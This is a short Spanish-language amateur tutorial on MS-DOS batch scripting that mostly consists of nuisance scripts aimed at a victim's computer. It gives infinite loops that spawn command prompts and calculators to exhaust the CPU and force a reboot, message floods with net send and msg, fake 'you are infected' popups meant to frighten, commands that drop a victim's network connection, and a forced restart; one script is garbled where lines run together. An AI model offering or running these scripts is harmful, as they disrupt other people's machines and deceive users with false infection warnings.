Programación en Batch (Códigos por lotes en MS-DOS)
Esto es un pequeño manual sobre programacion batch, intentare explicar lo que yo medianamente se, es decir, no pretendo aparentar ser un experto en este tema ni en otros, simplemente explicare lo poco que se ayudado de informacion que recabe y intentare atraer vuestra atención hacia este tema y otros para que luego vosotros por vuestra cuenta estudieis este y otros temas.
Bien, comenzemos, que es la programacion en batch?
Conocemos a la programacion batch como la programacion de ordenes en MS-DOS que luego se ejecutaran de forma automatizada, es decir, todo lo que se pueda hacer por ms-dos se transladara a los codigos por lotes que ejecutaran estas ordenes de forma automatica y por lotes.
Que quiere decir esto? como puedo aprender a programar en batch?
Para aprender programacion en batch (de echo muchos diran que esto no es programar, seguramente esten en lo cierto, es simplemente una forma de decirlo) tendras que aprender MS-DOS y sus comandos.
No pretende aburrirte con una lista enorme de comandos en MS-DOS ni pretende que te los aprendas de memoria, hay muchas paginas que te mostraran los comandos y como funcionan, solo tendras que buscar en google
De todas formas iremos a lo que nos interesa aqui, los codigos por lotes.
Como hacer que la memoria se ponga a full.
Para esto necesitaras crear un bucle.
Ejemplo:
@echo off
:bucle
net send * probando
goto bucle
exit
Esto creara un bucle infinito de mensajes del sistema.
El comando net send envia como habreis deducido mensajes del sistema.
Echo off se desactiva para que la ventana del MS-DOS se cierre
Ejemplo 2:
@echo off
:bucle
start cmd.exe (simbolo del sistema)
start calc.exe (calculadora)
goto bucle
exit
Con el comando start inicias procesos, y como ya os dije con el bucle crearas un bucle infinito xD, de simbolos del sistema y calculadoras, o lo ke te venga en gana puedes poner.
Con estos pequeños códigos conseguitas poner la cpu a tope y seguramente el atacado debera reiniciar el pc.
Si ademas de joderle la memoria quiers reirte un rato de el pondras esto
echo msgbox \"Vas a ser puteado\"
msg * ola, estas infectado, pulsa aceptar para continuar...
msg * intentastes cerrarlo? No podrás, jeje
msg * bueno a continuación de que terminen los mensajes se te abriran muchisimas ventanitas
msg * tendras que reiniciar el equipo..
msg * jaja, este puede ser el ultimo mensaje…..
msg * uyyyyy, no, no era el ultimo, que tensión….
@echo off
:putada
start cmd.exe
start calc.exe
goto putada
exit
Tambien puedes abrirle paginas web
@echo off
:putada
start
www.google.esgoto putada
exit
Tirarle la conexion:
ipconfig/release
Con este comando le tirarias la conexion a internet reseteandole la ip
Con este otro se volveria a conectar:
ipconfig/renew
Apagarle la pc:
@echo off
shutdown -r -f -t 1
exit
Como veis hay infinidad de códigos, solo teneis que buscar, hasta aqui esta pequeña introducción.
Próximamente mas pequeños manuales de introducción.
Mikelp